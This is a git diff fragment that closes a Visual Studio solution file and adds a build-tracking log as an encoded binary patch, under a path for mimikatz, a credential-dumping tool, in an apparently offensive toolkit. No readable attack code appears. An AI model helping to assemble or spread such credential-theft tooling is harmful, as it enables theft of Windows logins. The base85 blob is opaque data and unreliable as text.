Release|Win32 + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|Win32.Build.0 = Release|Win32 + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|x64.ActiveCfg = Release|x64 + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|x64.Build.0 = Release|x64 + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|Win32.ActiveCfg = Release|Win32 + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|Win32.Build.0 = Release|Win32 + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|x64.ActiveCfg = Release|x64 + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|x64.Build.0 = Release|x64 + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|Win32.ActiveCfg = Release|Win32 + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|Win32.Build.0 = Release|Win32 + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|x64.ActiveCfg = Release|x64 + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|x64.Build.0 = Release|x64 + {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|Win32.ActiveCfg = Release|Win32 + {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|Win32.Build.0 = Release|Win32 + {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|x64.ActiveCfg = Release|x64 + {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|x64.Build.0 = Release|x64 + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|Win32.ActiveCfg = Release|Win32 + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|Win32.Build.0 = Release|Win32 + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|x64.ActiveCfg = Release|x64 + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(NestedProjects) = preSolution + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6} = {B17EB705-1C68-44FD-A82B-860C539219A8} + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60} = {B17EB705-1C68-44FD-A82B-860C539219A8} + {6556249E-1C80-4047-A863-F608C8B8AC55} = {B17EB705-1C68-44FD-A82B-860C539219A8} + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0} = {B17EB705-1C68-44FD-A82B-860C539219A8} + {24371643-CEFE-4590-BB29-6141CB5E25D1} = {7999D050-6332-45F7-A343-C343902B1453} + {80532836-DE52-40AD-B373-E4098BF52E1F} = {7999D050-6332-45F7-A343-C343902B1453} + EndGlobalSection +EndGlobal diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..ce3b7c56ff0922e303f89a16f5f5f080c17b5f32 GIT binary patch literal 1366714 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 